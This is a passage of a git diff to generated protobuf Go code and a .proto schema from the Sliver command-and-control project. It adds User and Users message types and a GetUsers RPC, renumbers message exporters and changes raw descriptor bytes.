= func(v interface{}, i int) interface{} { - switch v := v.(*Operator); i { + switch v := v.(*Client); i { case 0: return &v.state case 1: @@ -12488,7 +12619,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[69].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WebContent); i { + switch v := v.(*Event); i { case 0: return &v.state case 1: @@ -12500,7 +12631,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[70].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WebsiteAddContent); i { + switch v := v.(*Operator); i { case 0: return &v.state case 1: @@ -12512,7 +12643,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[71].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WebsiteRemoveContent); i { + switch v := v.(*WebContent); i { case 0: return &v.state case 1: @@ -12524,7 +12655,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[72].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Website); i { + switch v := v.(*WebsiteAddContent); i { case 0: return &v.state case 1: @@ -12536,7 +12667,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[73].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Websites); i { + switch v := v.(*WebsiteRemoveContent); i { case 0: return &v.state case 1: @@ -12548,7 +12679,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[74].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WGClientConfig); i { + switch v := v.(*Website); i { case 0: return &v.state case 1: @@ -12560,7 +12691,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[75].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Loot); i { + switch v := v.(*Websites); i { case 0: return &v.state case 1: @@ -12572,7 +12703,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[76].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*AllLoot); i { + switch v := v.(*WGClientConfig); i { case 0: return &v.state case 1: @@ -12584,7 +12715,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[77].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*IOC); i { + switch v := v.(*Loot); i { case 0: return &v.state case 1: @@ -12596,7 +12727,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[78].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ExtensionData); i { + switch v := v.(*AllLoot); i { case 0: return &v.state case 1: @@ -12608,7 +12739,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[79].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Host); i { + switch v := v.(*IOC); i { case 0: return &v.state case 1: @@ -12620,7 +12751,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[80].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*AllHosts); i { + switch v := v.(*ExtensionData); i { case 0: return &v.state case 1: @@ -12632,7 +12763,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[81].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DllHijackReq); i { + switch v := v.(*Host); i { case 0: return &v.state case 1: @@ -12644,7 +12775,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[82].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DllHijack); i { + switch v := v.(*AllHosts); i { case 0: return &v.state case 1: @@ -12656,7 +12787,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[83].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*BackdoorReq); i { + switch v := v.(*DllHijackReq); i { case 0: return &v.state case 1: @@ -12668,7 +12799,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[84].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Backdoor); i { + switch v := v.(*DllHijack); i { case 0: return &v.state case 1: @@ -12680,7 +12811,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[85].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ShellcodeEncodeReq); i { + switch v := v.(*BackdoorReq); i { case 0: return &v.state case 1: @@ -12692,7 +12823,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[86].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ShellcodeEncode); i { + switch v := v.(*Backdoor); i { case 0: return &v.state case 1: @@ -12704,7 +12835,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[87].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ShellcodeEncoderMap); i { + switch v := v.(*ShellcodeEncodeReq); i { case 0: return &v.state case 1: @@ -12716,7 +12847,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[88].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ExternalGenerateReq); i { + switch v := v.(*ShellcodeEncode); i { case 0: return &v.state case 1: @@ -12728,7 +12859,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[89].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Builders); i { + switch v := v.(*ShellcodeEncoderMap); i { case 0: return &v.state case 1: @@ -12740,7 +12871,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[90].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Builder); i { + switch v := v.(*ExternalGenerateReq); i { case 0: return &v.state case 1: @@ -12752,7 +12883,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[91].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Credential); i { + switch v := v.(*Builders); i { case 0: return &v.state case 1: @@ -12764,7 +12895,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[92].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Credentials); i { + switch v := v.(*Builder); i { case 0: return &v.state case 1: @@ -12776,7 +12907,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[93].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Crackstations); i { + switch v := v.(*Credential); i { case 0: return &v.state case 1: @@ -12788,7 +12919,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[94].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackstationStatus); i { + switch v := v.(*Credentials); i { case 0: return &v.state case 1: @@ -12800,7 +12931,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[95].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackSyncStatus); i { + switch v := v.(*Crackstations); i { case 0: return &v.state case 1: @@ -12812,7 +12943,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[96].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackBenchmark); i { + switch v := v.(*CrackstationStatus); i { case 0: return &v.state case 1: @@ -12824,7 +12955,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[97].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackTask); i { + switch v := v.(*CrackSyncStatus); i { case 0: return &v.state case 1: @@ -12836,7 +12967,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[98].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Crackstation); i { + switch v := v.(*CrackBenchmark); i { case 0: return &v.state case 1: @@ -12848,7 +12979,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[99].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CUDABackendInfo); i { + switch v := v.(*CrackTask); i { case 0: return &v.state case 1: @@ -12860,7 +12991,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[100].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*OpenCLBackendInfo); i { + switch v := v.(*Crackstation); i { case 0: return &v.state case 1: @@ -12872,7 +13003,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[101].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MetalBackendInfo); i { + switch v := v.(*CUDABackendInfo); i { case 0: return &v.state case 1: @@ -12884,7 +13015,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[102].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackCommand); i { + switch v := v.(*OpenCLBackendInfo); i { case 0: return &v.state case 1: @@ -12896,7 +13027,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[103].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackConfig); i { + switch v := v.(*MetalBackendInfo); i { case 0: return &v.state case 1: @@ -12908,7 +13039,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[104].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackFiles); i { + switch v := v.(*CrackCommand); i { case 0: return &v.state case 1: @@ -12920,7 +13051,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[105].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackFile); i { + switch v := v.(*CrackConfig); i { case 0: return &v.state case 1: @@ -12932,6 +13063,30 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[106].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CrackFiles); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[107].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CrackFile); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[108].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackFileChunk); i { case 0: return &v.state @@ -12950,7 +13105,7 @@ func file_clientpb_client_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_clientpb_client_proto_rawDesc, NumEnums: 12, - NumMessages: 116, + NumMessages: 118, NumExtensions: 0, NumServices: 0, }, diff --git a/protobuf/clientpb/client.proto b/protobuf/clientpb/client.proto index e8b9aac374..ade611358c 100644 --- a/protobuf/clientpb/client.proto +++ b/protobuf/clientpb/client.proto @@ -4,7 +4,7 @@ option go_package = "github.com/bishopfox/sliver/protobuf/clientpb"; import "commonpb/common.proto"; -// [ Version ] ---------------------------------------- +// [ Teamclient ] ------------------------------------------- message Version { int32 Major = 1; @@ -19,7 +19,17 @@ message Version { string Arch = 8; } -// [ Client Logs ] ---------------------------------------- +message Users { repeated User Users = 1; } + +message User { + string Name = 1; + bool Online = 2; + int64 LastSeen = 3; + int32 Clients = 4; +} + + +// [ Client Logs ] ------------------------------------------ message ClientLogData { string Stream = 1; bytes Data = 2; diff --git a/protobuf/rpcpb/services.pb.go b/protobuf/rpcpb/services.pb.go index e77304edf2..dafd208cd1 100644 --- a/protobuf/rpcpb/services.pb.go +++ b/protobuf/rpcpb/services.pb.go @@ -31,645 +31,648 @@ var file_rpcpb_services_proto_rawDesc = []byte{ 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x32, 0xaf, 0x4f, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43, + 0x74, 0x6f, 0x32, 0xdd, 0x4f, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43, 0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x09, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x12, - 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x4c, 0x6f, 0x67, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x28, 0x01, 0x12, 0x2a, 0x0a, 0x04, 0x4b, - 0x69, 0x6c, 0x6c, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4b, - 0x69, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3e, 0x0a, 0x0b, 0x52, 0x65, 0x63, 0x6f, 0x6e, - 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x52, 0x65, 0x71, - 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x63, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x2e, 0x0a, 0x06, 0x52, 0x65, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6e, - 0x61, 0x6d, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3d, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, - 0x6e, 0x74, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x6d, - 0x61, 0x6e, 0x64, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x28, 0x01, 0x12, 0x40, 0x0a, 0x11, 0x47, 0x65, 0x74, 0x49, 0x6d, 0x70, - 0x6c, 0x61, 0x6e, 0x74, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x18, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x53, - 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x30, 0x0a, 0x0a, - 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x2f, - 0x0a, 0x09, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x10, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, - 0x2d, 0x0a, 0x08, 0x52, 0x6d, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, - 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, - 0x0a, 0x0e, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, - 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, - 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x42, 0x0a, 0x14, 0x47, 0x65, 0x74, - 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, - 0x74, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, - 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x3e, 0x0a, - 0x10, 0x43, 0x61, 0x6e, 0x63, 0x65, 0x6c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, - 0x6b, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, - 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, 0x0a, - 0x0c, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x61, 0x72, 0x74, 0x12, 0x0f, 0x2e, - 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x2f, 0x0a, 0x0b, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x6f, - 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x12, 0x2a, 0x0a, 0x07, 0x47, 0x65, 0x74, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x0f, + 0x6f, 0x6e, 0x12, 0x2c, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, - 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x73, 0x12, - 0x32, 0x0a, 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, - 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, - 0x4a, 0x6f, 0x62, 0x12, 0x46, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4d, 0x54, 0x4c, 0x53, - 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, - 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x40, 0x0a, 0x0f, 0x53, - 0x74, 0x61, 0x72, 0x74, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x17, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x43, 0x0a, - 0x10, 0x53, 0x74, 0x61, 0x72, 0x74, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, - 0x72, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, - 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x65, 0x72, 0x12, 0x47, 0x0a, 0x12, 0x53, 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x53, - 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, - 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x46, 0x0a, 0x11, 0x53, - 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, - 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x12, 0x4f, 0x0a, 0x16, 0x53, 0x74, 0x61, 0x72, 0x74, 0x54, 0x43, 0x50, 0x53, + 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x73, + 0x12, 0x37, 0x0a, 0x09, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x12, 0x17, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c, + 0x6f, 0x67, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x28, 0x01, 0x12, 0x2a, 0x0a, 0x04, 0x4b, 0x69, 0x6c, + 0x6c, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, + 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3e, 0x0a, 0x0b, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x75, 0x72, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x2e, 0x0a, 0x06, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, + 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6e, 0x61, 0x6d, + 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3d, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, + 0x64, 0x1a, 0x0f, 